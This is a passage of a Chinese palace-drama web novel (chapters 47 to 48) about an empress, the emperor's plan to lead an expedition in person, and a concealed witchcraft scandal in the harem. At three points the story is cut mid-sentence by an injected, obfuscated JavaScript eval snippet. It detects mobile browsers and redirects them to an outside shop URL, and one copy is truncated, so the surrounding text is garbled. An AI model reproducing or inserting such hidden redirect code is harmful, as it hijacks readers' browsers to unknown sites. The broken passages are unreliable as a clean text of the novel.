好比联姻一事,师冉月告知她了,她便准备,然而最后到底是谁来联姻,再而后又会如何,她最多费一点心神匆匆想起,便马上又匆匆放下,不再理会。 师霖撇过脸,隐匿好心中翻江倒海的思绪,详装困倦倒回藤椅上闭目养神,勾了勾端木萌的手,道:“娘子,为夫想喝你熬的菌菇汤。” “不要。今儿我已经嘱咐厨房做了山药汤了,昨天四哥儿就吵着要喝呢。再说我又没有小六那样的手艺,你若真想喝,现在去跟厨房的嬷嬷说也还来得及。”端木萌任由他玩捏了一会儿自己的手指,才抽出手起身,自己先回了房中,临走又想起什么,顿了顿道:“你也别光在这儿躺着了,过会儿去前面看看,差不多就叫婷儿回来罢。” 师霖“扑哧”笑出声,在端木萌的瞪眼警告下忙不迭支起身连连答应了,这才罢休。 江映自进宫后便不声不响,也几乎不与旁人见面闲聊,却像一只蛰伏的灵巧的猫,不声不息却出手稳准,一下子便成了新入宫的这一批才人中恩宠最盛的,除了皇后和徐昭仪便无人能及。然而自她获宠之后,便不似从前那般收敛,行事也愈发张扬肆意起来,虽未曾在师冉月等人面前越位,但在吴秐等人眼里却是不一般的“妄为”了。 寻常宫人都被师冉月管束,不敢妄加议论,吴秐自上次之后也不敢再在师冉月面前提及,其余有几个似是想说些什么,却也欲言又止。 “她聪慧大胆,不似旁人畏畏缩缩,见到陛下就像老鼠见到猫似的,自然能吸引陛下。”林绵道,“作为妃嫔,做到这些也便足够了。” 师冉月摇摇头道:“只不过是陛下近日事忙,除了上朝几乎闷在清和殿了,而后宫只有她一人往清和殿去而已。咱们这位陛下喜欢的是服从。” 林绵点了点头,“也是。城儿也有好些日子没见到陛下了,可是叫他撒欢了,成日里跟着师将军往军营里去,他书架子上的书都不知道落了几层灰了。” “哎,上次我还答应玦儿将他写的诗也给他爹爹瞧瞧。恐怕一会儿这孩子回来又该闹我了。”师冉月摇头轻叹,手上的团扇越扇越快,直想把秋老虎扇走似的。林绵笑着从她手中一把抽走扇子,道:“我看呀,你便直接领着太子去清和殿找他,又有何妨呢?难道清和殿的宫人会阻拦你么。” “若是这般,反倒又没意思了。”师冉月嘟囔道。 林绵瞪大了眼,手帕甩到她臂上,道:“你这是说的什么疯话!” 师冉月愣了愣,随意般作出几个笑来,而后像猫一样直直瞪着眼睛盯着林绵,直到林绵败下阵来,笑叹:“好好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226161|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好,我什么也没听见——你可真是个小疯子。” “我可不小了,转过年二十九——马上就三十了。” “行、行,疯子,疯子行了罢......真是有病了。”林绵无奈,正了正身子自去喝茶,过了会儿又问道:“那会仙楼,你叫人收拾出来,做什么用?” “没想好。” “没想好你就派人去收拾,岂不是劳民伤财?” “顶多劳民......未曾伤财。左右西宫那边负责扫洒的宫人一个个消极怠工,平日里贵人们不往那边去,他们便也不收拾,全然懒着。人一旦闲下来便容易出事端,这不,前些日子有两对儿对食的,还从宫外弄进来了点脏东西。我也只是借着这个由头整顿一番罢了。” 林绵生出几分不忍,道:“他们困在宫里......” “这是没法子的事,谁都不是你情我愿的,然而在一个地方就要守一个地方的规矩。我前年好不容易才将这阖宫上下都收拾干净了,这边便生出蛀虫来了。‘千里之堤溃于蚁穴’,我也是不得不为之。” 林绵叹道:“我何尝不知道这道理。放在大局,倒没有错,可落在当中每一个人身上,终究是有些可怜了。”未及师冉月再开口,她便吸了口气,重新舒展了眉眼,笑道:“不说这些了,又逢秋日,不该自讨伤感。” 师冉月愣了一瞬,便也笑道:“是这个理。”又看了看外面,道:“今儿天好,不如我们还是去外面走走罢。”比起夏日酷暑,冬日严寒,师冉月总是更喜欢秋日,不冷不热,只要不下起泥泞的裹挟着湿漉漉的寒气的秋雨,便再舒适不过。而比起同样冷暖合宜的春日,秋日没有各式各样的花香和飞絮,天高云淡,更显辽阔自在,也更令她觉得舒爽一些。 二人并肩,慢悠悠地在宫道上走着,也不作交谈,似乎北归途中与同伴离散而又偶然结伴的两只大雁。 音儿跟在师冉月身后几步远的距离,也只默默不语。樱桃的寡母夏天时在老家病故,家中剩下两个尚未及笄的妹妹,樱桃不忍将他们交由叔伯随意嫁人,便向林绵请求归家,如今已经销了宫籍离开了宫中。如今跟在林绵身边侍奉的是原先就在她宫中做事的一个叫彩袖的宫女,才刚十七岁,稳重是稳重,却不大爱讲话,与音儿等人从前不过几面之缘,也不便闲谈了。 这般回忆着樱桃还在宫中的日子,甚至是从前还在楚王府的时候,音儿看着地上枯败的花草,也忍不住在心下感慨起物是人非来,以至于木莲在她身后连着唤了她好几声“音儿姑姑”,她才猛地醒过神来。 “怎么?” “皇后娘娘和贵妃娘娘这是要去哪儿啊?”木莲手里还捧着师冉月的披风,一袭镶着银白狐毛的月白色披风叠了几叠捧在她手上,垂下的下摆还是快要把她半个人遮住的样子。 眼瞅着前面二位主子已经略过了画院、书院、尚衣局和御花园,现在兜了一大圈子复又往南走了回去,快要把大半个后宫都逛完了也不嫌累。 “眼看着要到晌午了——” “别多嘴,只管跟着就是了。”音儿低声道。 木莲瑟缩着眉眼噤了声,退了小半步垂下头,又跟在了音儿身后。 音儿看着前面的师冉月,心下晓得她大概又神飞天外,脚下有路就走,可能大概根本就不知道自己走到哪儿了。这般状况,也只能等她自己饿醒了,或者腿酸脚麻累得受不了了才能停下,又或者寄希望于林绵何时累了,主动与师冉月提议回宫。 这般没目的地又走了一会儿,音儿听着身后木莲的脚步声越发沉重,正捉摸着要不要自己上前去提醒一二,众人便听见一旁楼阁中传来盘碟打碎的脆响,紧跟着便是一声惊呼。音儿连忙上前到师冉月身边,道:“娘娘没被吓着罢?” “没有,别担心。”师冉月浅笑,拍了拍她的手。 林绵皱眉道:“这是江才人的攸宁阁罢?” 彩袖答道:“是的,娘娘。” 音儿道:“娘娘可要过去瞧瞧发生了什么?” 师冉月思索了一会儿,轻轻摇了摇头,道:“没必要上赶着找事做。也快晌午了,绵姐姐,不如我们便先各自回宫罢。” 林绵点了点头,行礼告辞,便带着自己宫中的人快步离开。 师冉月叹了口气,转身往坤宁殿的方向走,一面又低声对音儿道:“找个可靠的人到攸宁阁打听打听,别再出什么岔子。” “明白。” 47. 第 47 章 晚间端木玦下学回来,果然又提到要将诗作给端木玄看的事儿,师冉月便也顺着他的意叫小厨房准备了几道端木玄爱吃的菜,赶着晚膳的时候领着端木玦到清和殿去。 她素来了解,端木玄近日整日呆在清和殿,并非是有一刻都离不开的政务,只是事情稍有些多且杂,倘若往返后宫,一来二去路上耽误的时间对他来讲并不划算,因此他宁可自己在殿中忙些旁的事,比如读读无关的文章,拿起佩剑随便比划两下,或者看看沙盘地图,写写字......而后宫中等着恩宠的妃嫔,若是只知道“安分守己”地在宫中空待,必是没有任何结果的,唯有像江映一般主动到清和殿找他,才能顺势得了恩宠。 饭后没一会儿,端木玦便垂着眼睛哈欠连连,师冉月便叫合月先带他回了坤宁殿。 殿内没有什么别的伺候的人,只留了音儿和近黛两个。 端木玄靠在椅背上,闲散非常,一副半睡不睡的模样。他素日里的常服也仍是那些“死气沉沉”的颜色,不是玄色便是藏蓝、深青、银灰一类。坐到清和殿中不再四处奔波的日子反而叫他清减了一些。师冉月端详着他,倒不见从前京城初见时他那番老谋深算又意气风发的样子,如今他的思虑和谋划似乎在心中已经藏不下了,越发外显起来,这般看似闲适的样子却是满脸疲惫。 他似乎想做穆宗或者武宗那样深谙帝王之术的老狐狸,如今却有点像元宗那样力不从心。不过这样的神态他自然不会显露在外,仍旧总是习惯伪装成一副云淡风轻置身事外的样子,因此也格外劳累些。 师冉月轻叹了一声,走到他身旁,看着书案上零零散散摆着的几篇他临的碑帖,旁边摆着的两幅拓印下来的墨稿甚至已经被茶水洇湿,折子倒是都整整齐齐摞成一摞,不过都摆在书案旁边的小几上,一瞧就已经有一阵子无人问津了。 “听说百姓已经对东北的事有所议论。” 端木玄从鼻腔中“嗯”了一声,缓缓睁开眼。 “若是纳真夺位叛乱,我们可要出兵?”师冉月问出口便自觉问的是一句傻话,若是纳真反叛,哪有不出兵的道理。 端木玄自然听了出来,笑了笑,却难得未出言顶她,只是探身,伸手在那些折子里翻了翻,找出一本轻轻撇到她面前。 师冉月也不推辞,自己拿起折子看了一遍,道:“户部的意思是如今国库中的存银不够支撑北伐,建议派遣使臣议和。”轻笑一声,又道:“虽说户部‘量入为出’,倒没有什么错处。可这些年无论遇到什么事,户部便只有‘缺钱’这一项,却从来没人能给个法子解决。” “生财一事,本是商贾思虑,虽说我朝科举取士并不限出身,商贾之后也可科考入仕,但纵使他们懂得如何经商,那也是为一家生财之道,而非一国生财之道,倒也不怪他们。何况商贾之家赚取钱财也是需要本钱的,我们现在连本钱都拿不出,又如何生财。” 端木玄叹了口气,直了直腰,又道:“先前新科选上来的进士白束道和落桓提议修变税法,众人议论纷纷,沈案之便提议说先选几个州郡做试验。官成潜又说,变革税法,不如先重开考绩,虽然你三哥所言有理,但朕还是着人推行......是处置了些人,但也不过是出头鸟、替罪羊,算不上什么成效。蒋节那市舶司如今也是频频受阻,进退维艰。” “蒋大人有景大人从旁协助,也没什么用处么?” “景宗朝也不能自断根系罢?”端木玄道,“我已经又派了使臣出关,一是探清如今东北的情况,二则试试能否谈判止戈,前日传回来的消息是纳真不仅意在互市,且要我们效仿前朝送上岁贡,否则待他内部事了了,就要立刻向我们发兵。” “我们又未曾兵败于他们,何谈岁贡?” “纳真大概也知道我们不会同意,说这些只是应付了事,根本只是想与我们开战罢了。” “真是个疯子,为了自己那点野心,全然不顾社稷民生了吗。”师冉月有些愤懑。 “无论如何,只要纳真反叛的消息坐实,就立即出兵东北,并且朕将御驾亲征。”端木玄道。 师冉月闻言怔愣,几乎反应不过来自己听到了什么。 端木玄继续道:“最近宫里的吃穿用度都能省则省,既然一时无法开源,那便节流,就从宫中开始。” “先不说这些——你要亲征?”师冉月看着端木玄那一副不置可否的表情,一口气哽在嗓子里差点说不出话来,“你知不知道你现在是一国之君,不是王爷也不是世子,亲征意味着什么你可有想过?自古除了开国之君开疆拓土,再不然就是到了国家危难的关键,非君王亲征不能鼓舞士气的时候才有亲征的例子,如今连纳真反叛的消息都还没坐实,你怎么会想到要去亲征?” 近黛和音儿默默合上窗子。 “皇后在担心什么?” “我没有在担心什么——我只是觉得荒谬。”师冉月扶额在一旁的椅子上坐下,看着端木玄的神情,她脑中突然闪过一个更荒谬却又莫名合理的缘由,话也随之不假思索地像没打磨好的粗糙的刀刃一样问出口:“你不会是想借着亲征的由头出去转转罢?” “是。”端木玄直白道,“这清和殿太闷得慌了。” 师冉月哽住。她简直不晓得该用什么样的反应来面对端木玄这般的直白。荒唐,她想,这样的话竟然是他先说出口的。 心中莫名涌上控制不住的委屈,她匆匆转过身去,表情狰狞地想要忍住眼泪。音儿担心地上前半步,她却摆了摆手制止了她,吸了口气,转过身看向端木玄,气声般轻叹道:“你是皇帝,端木玄。” “我知道。”端木玄垂着眼睫,面孔像深秋暗绿色干瘪的没有汁液的草,在灯火通明的大殿中也没有什么光亮。他的目光落在那些墨色的字上,干涸的墨汁还带着笔痕,缓慢而饱满,刻意而冷淡,看不出情绪。他脑中如今纷乱又空白,方才一句任性的感叹并没有让他好受些许,连师冉月一反常态的的质问也没有唤回他的理智。 一片死寂。 良久,师冉月起身在端木玄面前站定,恭身肃声道:“陛下登基二载,寰宇初定,而纳真意欲扰我大淮边境,陛下不忍边关百姓受苦,先发制人率兵亲征。臣妾愿为后宫表率,献黄金二百两,为前线将士添衣。” 她垂着头,眉眼都隐没在阴影中,看不真切。收敛整肃的身形像是无声的妥协,又或者她根本没有妥协,而是又回到了某个套子里,对任何事都不喜不悲。 端木玄亦未曾尝试着与她对视,眉心拧着,半晌才叹道:“此次事情了了......便请皇后代朕赴江南各郡巡游罢。” 师冉月微微抬了抬头,道:“巡游劳民伤财,陛下三思。” “微服私访,只私下传旨各郡府官员接待护送,至于宴请等事,随皇后的便。” 师冉月心下冷笑,却已然懒得多说,只想赶紧离开这大殿,好自己去收拾一番情绪。她敛着目光又行了一礼,轻飘飘道:“臣妾领旨。”旋即也不再多留,也不等端木玄说些什么,又道了句“告退”便匆匆离开。 音儿提着裙摆,差点在宫道上跑起来,才勉强追上师冉月的步子。 “娘娘,娘娘......姑娘,你这是要往哪去,这不是回坤宁殿的路。” 师冉月仿若突然被唤醒一样,霎地停下脚步,慢慢呼出一口气,沉声对音儿道:“去找烟水来。” “姑娘忘了,烟水半个月前被陛下派出宫了,临走前还来坤宁殿看了你和小殿下,如今清和殿只有近黛在侍奉,想来烟水还未回来。” “那把合月叫来。”师冉月声音冷淡,像刀刃垂直砸进地里般不容置疑,“她们自己一定有联系上的法子,无论如何把陛下打算亲征的消息传给烟水——也只能传给烟水知道。” “好。”音儿应道,又道:“那侯府那边......要不要告诉侯爷和长公主?” “不必,此事到如今为止尚且与他们无关。”倘若烟水能阻止端木玄亲征的念头,那么这件事就没必要更多的人知晓,即使是师霖。这般想着,又道:“出兵东北已经是板上钉钉的事情了,四哥在军营里相必早就消息灵通,也用不着我们多事,免得前朝猜忌。” 缓了口气后,师冉月仍是忍不住皱眉,慢慢往坤宁殿去,直叹道:“他如今全没个正形,简直是......拿皇位当儿戏了。” 音儿却带着点笑意,轻轻道:“我怎么觉得,姑娘其实是担心陛下的安危呢?” 师冉月却不带一丝犹豫,淡然道:“我只是不想多些麻烦。” 她如今觉着,最大的省心,莫过于端木玄安坐于朝堂,师家地位稳固,便一切都不需要她来多打算。何况离复景元年外放的举子回京述职及调任的年份越来越近,她总觉得心中不安。如今朝中多是师家一党,或是慕州旧臣,彼此利益牵扯,虽有小打小闹,但大事上终是利益先行,因此便相安无事。可若是那些年轻气盛的调任回京,必然看不惯这等光景,可端木玄又要用他们制衡老臣,彼时想必她这个皇后也做不太消停了。 至于说,夫妻情分,她如今倒是懒得多想。 须臾回了坤宁殿中,烛火熄了一半。将合月找来,问了端木玦晚间的状况,又说了此事,便也卸下钗环去梳洗。折腾了一番终于就寝,却又思虑重重,辗转不得安睡,一会儿功夫便觉得汗湿了满身不大舒服,又恐怕骤然掀了被子着凉,便将被子小心地掀开一个角慢慢透气。夜里的凉风丝丝漫延进皮肤,身上舒爽了些许,却也教她更精神了几分。 她微微抬起身往外探看,今夜守夜的春桃已经打起了瞌睡,于是她便又悄声躺了回去,只自己一个人瞎想着打发时间。 她自然晓得端木玄有将领之才,从前西南之役、守卫西北,以及后来起兵勤王围城逼宫,多半仰赖他的指挥之才。将帅须得随军而行,才能更快随机应变,毕竟战场上一草一木的变化都有可能牵一发而动全身,这也是她自小就从二哥那些讲兵法、谋略的书中习得的道理。加之如今,国无将帅之才,原先有经验的将军大多死于前些年的政变,或者早早看清局势解甲归田。 而今在朝的将领,多似她四哥师骁,论武艺尚可,论谋略则不知虚实,恐怕纸上谈兵,的确不太能教人放心。那些女真人又是生来长在马背上的,骁勇善战,听说无论男女老幼皆能上马作战,自然不能当作一般的番邦或是部落叛乱来看待。林林总总思及此,她倒觉得端木玄亲征无不道理,虽然他有私心。 他像苍鹰,或是头狼,至少从端木横将他接到楚王府开始。他向往苍山之巅,也一步一步爬了上去,却不想那是一座金雕玉琢的牢笼,教他再也不能翱翔驰骋。 她为他开脱,又觉得他自作自受。 可她自己呢。 她素来不太敢细想。 就这样混混僵僵,竟也过了新年。 复景三年二月十一,端木玄下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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张雁仍旧眼神惆怅,捧着渐凉的茶,不知道在想些什么,瘦削的身子即使裹着厚厚的狐绒大氅也像是一枝贫瘠的腊梅,薄薄的一层皮裹着突兀的骨头。 岳诗韫瞟了她一眼,自觉想说的话都说了,也懒得多留她,便道:“过会儿孩子们该下学回来了,你也不必对他们多解释什么,这日子该怎么过,就怎么过。” 张雁乖觉起身告辞,自己一个人慢慢踱着步子往回走,见满院草木都还是一片枯灰色,池子里的水虽未结冰,却也像是凝固着一样死气沉沉,周遭浮着一圈没被清理掉的苍绿色的苔藓似的东西,糊在池边,像是什么东西死去的躯壳。孩子们还有片刻才从前院家塾回来,后院这当会儿也见不着几个人影,一点生机都没有,直叫人心气儿落败。 这当厢快走到留容轩,念着怕碰见端木萌,定又要因着师骁的事对她好一阵关心,可张雁自觉如今受不得这种关心,便又快了些步子绕开,先回了自己的院落。 张雁虽避着,端木萌也不能免了挂心,却也晓得她这会儿躲着自己,便只向穿得像个绒球一样下学回来的师言和棠欢打听:“你们四姐姐他们这两天瞧着怎么样?可还好?他们可曾说你们四婶婶怎么样?” 师言三下两下扯下来身上的披风,道:“没怎么——我饿了娘,有没有点心吃啊——五弟反正是好着呢,不过二哥去了太学,没人陪他斗草下棋,看着有些无聊罢了。四妹妹和五妹妹成日里都是那个样子,也看不出来什么。”他一手拿了个红豆糕,另一手又拿了一个多蘸了些蜜,等着棠欢慢吞吞脱下像个青团似的竹青的毛茸茸的披风,换上屋里穿的桃红小衫,又净了手回来接过哥哥手里的蜜糕。 “那四婶婶呢?”端木萌追问。 棠欢只啃着红豆糕,摇摇头道:“不晓得呀。” 对上母亲移过来的眼神,师言拍了拍手上的糕渣,接过来绮香递上的手帕,摊手道:“我也不知道。” 端木萌撇过眼睛,叹气道:“你们两个小没用的——真是!”婷欢这两日与景安两个去了岳府,被端木葭留下小住,估摸着得等她们的表姐岳佳出嫁了才回来,便也无从依靠。思来想去,道:“四哥儿,你去你二伯母院里,把你三哥找来。” 师言撇嘴:“我不去。” 棠欢在一旁笑道:“四哥和三哥吵架了。” 端木萌瞪大了眼睛,奇道:“你三哥那么沉稳的性子,你怎么惹着他了?” 师言忿忿地扭过头不说话。棠欢替他说道:“四哥想逃学去苍云江,被三哥知道了告诉了先生,四哥没去成,就不理三哥了。” 师言听到棠欢把他要逃学的事说出来,紧张地缩着脖颈,悄悄抬眼觑着端木萌脸色,却只见端木萌低头嗫嚅道:“苍云江......为什么想去苍云江?” 师言小声道:“因为......上次我们去的时候,碰见那块有个道观,观里有个小道士会做木工,送了我们三个装蟋蟀的木笼子,做的可精巧了......二哥去太学前还嘱咐我和五弟有机会要去回礼来着。” “啊,是这样。”端木萌轻声应着,也不晓得听没听进去,却没追究师言逃学的事,只道:“不过你三哥到底没错,你还是快些去与他道了歉,把他给我叫来......一并和你二伯母与三姐姐,叫他们今晚就在留容轩用饭,我叫厨房做荷叶鸡,还有逢州送来的新笋煲的汤。” “好——”师言不情不愿拖着长声,拽下自己的披风又跑了出去。 48. 第 48 章 自从端木玄一行人出了京,前朝紧锣密鼓关注着前线状况,以及师霖在前朝有没有越职之意,对后宫倒是不大着眼了。师冉月便以自己有孕倦怠为名,将原先因着言官弹劾而被迫每三日着各妃嫔定省一次的规矩又给免了,改作每十日一次,自己闲着没事也不出坤宁殿,免得徒增麻烦。 “吴姐姐,这么巧。” “俞妹妹,你这是要去哪儿呀?”吴秐回了礼,笑道。 “我去坤宁殿找皇后娘娘呀。” 吴秐脸色变了变,拉着她的小臂低头凑近,低声道:“俞妹妹,我劝你这会子还是少去坤宁殿为好。” “为什么?” “皇后娘娘将定省改作十日一次,本就是想少见外人的意思。如今她的胎还未坐稳,万一有个什么闪失,你可要当心惹上麻烦。” 俞安乐瞪圆了眼睛,向后倾了倾身,发髻上的步摇串珠也跟着晃了晃:“娘娘不是那样的人,若不是我的过错,说句不该说的,就算真有闪失,娘娘也不会赖到我这儿的。” 吴秐却煞有其事般接着道:“娘娘是明事理的人,可旁人不一定这般想。这可是陛下登基后的第一个皇嗣,举朝上下都盯着,如今前朝又是师太傅在监国......” “那又何干?”俞安乐眉梢扬了扬,却只是不动声色抽回了自己的手,冷声道:“吴姐姐有什么事不妨只说,不用与我在此处绕弯子。”说着便要走。 吴秐却不依不饶,上前一步拽住她的手腕,道:“妹妹难道忘了去年冬天江才人的事?” 俞安乐顿了顿,却很快回过神,只道:“吴才人不必与我在此处打哑谜,有什么目的还是直说的好,若是没有紧要的事,还是不要妨碍我去坤宁殿了。”说罢,也不再管吴秐又要说些什么,自顾自甩开她转身快步走了。 坤宁殿这厢倒是热闹得很。端木暄进京后便直接住在了偏殿中,又逢今日端木萌也进了宫,加上林绵过来看望,比起原先倒还更喧闹几分,连树上鸟儿叽喳的叫声也不那般突兀了。 四人围坐在廊下,笼着火炉,在上面烤着板栗和芋头,旁边温着茯苓红枣茶,还有一壶端木萌“特意为端木暄”开的桃子酒,甚至不远处院子里春桃和薛德保带着几个人还搭了炉子烤了两只荷叶鸡并一只烧鸭,香味儿不一会儿就传的满宫都是,惹人垂涎。 林绵笑着对端木暄道:“只有皇后娘娘这儿才有这么多好吃的。你难得进京,可以一饱口福了。” “原先在慕州时也听人说过,娘娘在厨艺上别具匠心,可惜那时事情匆忙,总是难得一聚,便也没福气沾到娘娘小厨房的光了。”端木暄笑得温吞。 师冉月笑了笑,正要说什么,宫女满絮进来道:“娘娘,俞才人来了。” “请她进来。” 俞安乐微微皱着眉,快步走进来,见到其余几人愣了一愣,不过还是迅速反应过来一一行了礼。林绵不必说,端木萌在宫中也是见过几次,唯有坐在师冉月对侧的一身低调的月蓝色衣裙的女子她并不识得,却能瞧出眉眼间有几分与端木玄神似,便试探道:“这位可是缙云长公主殿下?” 端木暄起身,欠身回礼,微笑道:“是我。初次见面,俞娘娘安好。” 俞安乐忙道:“不敢当。” 师冉月笑道:“在我这儿没有外人,不拘礼节,你们也不必让来让去的了,快都坐下罢。满絮,给俞才人也上茶来。” 林绵道:“方才见妹妹走进来一脸忧愁,是有什么事要说与娘娘么?” 俞安乐忙笑了笑,道:“没有,没有......妾只是想来看看娘娘。” 林绵与师冉月对视一眼,便道:“那便好。今日你可是来着了,娘娘着人弄了两只鸡和一只鸭子来烤。” 端木萌道:“阖宫上下也就你能在宫中做出搭炉子烤鸡这档子事,怪道宫外那些老古板一个个恨不得上八百个本子来参你,说你全没个皇后的样子,不能做天下女子的表率。” “他们不过希望自己妻女都恪守闺训贤良淑德,甘愿顺从服侍男子罢了。若是朝中换作女子做官,男子持家,还不知道是个什么光景。”林绵不屑道。 “说不准彼时女子也可以三妻四妾享‘齐人之福’了。”端木萌笑道。 师冉月却推她:“满京城这些夫人只你一个家中没有妾室,竟还大言不惭说出这样的话。” “怎么只我一个了?镜妤难道不是?你四嫂子难道不是?还有我那姐姐——” 师冉月忙道:“好好好,不止你一个,可行了?” 端木萌自知失言,顺势笑着不再作声。先前端木玄令师霖监国的旨意一出,皇族一干宗亲戚里中,怀宁长公主端木葭是头一个跳出来反对的,直言天下姓“端木”而非姓“师”,端木玄这般妄为是违背了祖宗家规,教列祖列宗蒙羞如是。有她带头,一些个公主和藩王郡公也跟着上书附和。端木玄只压下不表,但此后安排师霖监国诸事照旧,意思便也很明了了。又因着端木齐、端木阳两个自始至终完全沉默,端木萌也未发言表态,燕王、齐王、安王等几个势大的藩王也未有异议,此事很快平息了下去,众人也自觉避讳,自觉避开与怀宁长公主相关诸事。 师冉月心下晓得端木玄对此事的态度,虽不觉得怀宁长公主此举有错,但只觉得她凭空生事,徒增心烦。不过因着其女岳佳已经许给了左卫上将军林守贯的第四子,如今北伐女真,正是用人的时候,便只作无视。 彼时林绵听说了此事还颇为诧异,与师冉月说:“如今岳家基本覆灭,她的亲妹妹又在师家,为何竟突然如此坚决,不惜与师家对立呢?” “我倒觉得这也不算是与师家对立,她只是在履行她心中一国长公主的责任,一贯如此。” 说好听了叫坚守原则,说不好听就是不识时务。 这会儿岔过了话,又捡了些无关的事闲谈,喝了会儿茶,时至正午,那边的鸡鸭也烤好了,众人便把心思放在了吃喝上,又这么聚了一会子,端木萌便道要回去午歇。端木暄也随着告辞回了偏殿。 俞安乐见状也要走,林绵却拉住她,道:“如今两位长公主都不在,你有什么事尽可说了。” 师冉月也点头示意。 俞安乐便叹道:“原不想扰了娘娘清净,只是妾思来想去,怕有对娘娘不利的事——今早妾来坤宁殿时,路上碰见了吴才人,上来闻说妾是要来看望娘娘,便劝妾不要常来坤宁殿,免得......会惹上什么意外。她一直纠缠,妾本想脱身,但是她却提到了去年江才人的事。” “江才人......”林绵沉吟。 师冉月凛色道:“吴才人都说了什么?” “吴才人只是说‘妹妹难道忘了去年冬天江才人的事’,而后妾不想与她多纠缠,便没再听她继续说下去。”俞安乐看着师冉月骤然冷下来的脸色,说得越发小心翼翼,然而口齿却清晰坚定。 林绵看了眼半低着头神色不明师冉月,心下叹息。 那会儿快要到腊月。 烟水是赶着宫城大门落锁前一瞬回来的。冬日的夕阳已经快要垂到地平线下,一点点余晖拖得人和马的影子老长。众人只看见几个时辰内,烟水先回了清和殿,又去了坤宁殿,之后数次往返,直到四更才又从坤宁殿出来,回到自己的住处。 而她到底与帝后二人说了些什么,外人一概不知。 因着此事,那夜师冉月几乎未能安寝,次日午睡时便昏沉了些。音儿不忍叫醒她,任她一梦醒来天已经又悠悠转昏。害怕当晚又睡不好,师冉月便顶着睡得昏昏沉沉的脑子强撑着起来,才挪到桌子前倒了杯茶醒神,徐聆雨便“闯入”了坤宁殿。 想要通报的春桃跟在后面,竟没追上,迎着师冉月的目光慌忙道:“娘娘,徐昭仪来......” 师冉月对上还在喘着粗气的徐聆雨狼一样的眼神,安抚地看向春桃,又屏退一众宫女太监,只留她和音儿,还有徐聆雨和她的侍女湖亭。 “何事这般急——”话音未落,徐聆雨气儿还没喘匀,便道:“江映见红了。” 师冉月登时站起身来,与之相伴的是剧烈的头痛:“怎么会见红?请太医了吗?” 徐聆雨摁住她的手,继续道:“已经叫了许太医。见红,但不是孩子。她在宫中行巫蛊求子,不知道听了哪个巫医的话乱喝了什么东西才见了红。此事是孙姝妙发现的,她已经被我扣在了云怡阁。” 师冉月看向徐聆雨眼底,她晓得她的意思:要不要保江映。 “巫蛊”二字在宫闱中向来讳莫如深,江映一向似是心机谋算极深的人,不晓得为何竟会做出这样冒险的事。 “孙姝妙知道多少?”师冉月沉声道。 “全部——我所知就是她所知,她以此向我投诚。” “投诚?她不是早就向你投诚了。”师冉月盯着徐聆雨深棕色的眸子,挑眉,“那你现在是在做什么?向我投诚?” 徐聆雨昂了昂头:“若是陛下知道了江映的事,难道被孙姝妙投诚的臣妾能脱得了干系么?”她轻勾嘴角,道:“臣妾这是在借娘娘的势。” 师冉月无心与她在此处较量,“无论如何,先与我去趟攸宁阁罢。”说罢迅速回去随意换了身衣裳,出来时又嘱音儿道:“告诉合月不要让玦儿出坤宁殿,再去告诉近黛,只说近日江才人身子不适,不能侍寝......去找蒋才人,叫她今晚去清和殿给陛下送酒。” “明白。” 徐聆雨默默立在一旁,看着她这般吩咐下去,跟在她身侧快步走向攸宁阁,神色晦暗不明。 “你不用多想了。”师冉月蓦地出声,向俞安乐道,“江才人是老毛病,身子不适,所以主动向我请求暂时不去侍寝。请太医日日去攸宁阁也是为着她的病。” 俞安乐懵懵地点了点头,道:“那这件事与我来娘娘这儿有什么关系呢?” “兴许是......”师冉月冷笑道,“吴才人觉得是我看不得江才人得宠,蓄意构陷了她教她不能再侍寝罢。” “原是这样。”俞安乐笑开,“谢娘娘解惑。” 这般俞安乐又留了一会儿,闲扯一二,便告辞离开。 林绵方才一直沉默不语,只后来闲扯时应和一两声。这会儿从窗子中眼见俞安乐离开,才道:“吴秐怎么会知道这事?当时可能泄密之人不是都清理干净了么......难道是孙姝妙?” “她虽心急,但脑子还算清醒,也惜命。兴许是旁的地方漏了口风,或者吴秐也只是猜出来一二,以此借着俞安乐来试探我罢了。” “兴许是江映之后你将蒋纹扶了上去,没有如约为她引荐呢?” 师冉月闻言苦笑:“她原本也未曾指望我为她引荐。我此次保下江映,是看在新入宫这一批唯有她一个算是真真的明白人,加上那阵子陛下为东北之事烦心,也无心后宫之事。徐昭仪保她的考量我无心去琢磨,但她保下江映,原本就是保下孙姝妙——若是孙姝妙将此事捅到陛下面前,处置了江映之后,陛下也会自心底将孙氏一并厌弃了,于她并无好处。至于引荐,孙氏自始至终依靠的都是徐昭仪,她与她如何商谈于我无关。” 林绵那时自始至终置身事外,虽听到一些风言风语,但也只保持沉默,甚至为了避嫌,无事不出宫。她叹了口气,只道:“罢了,左右如今有人蓄意生事也无妨,这宫里全凭你做主。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226163|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师冉月颔首不语。 “你也不必多想,还是养胎要紧。” 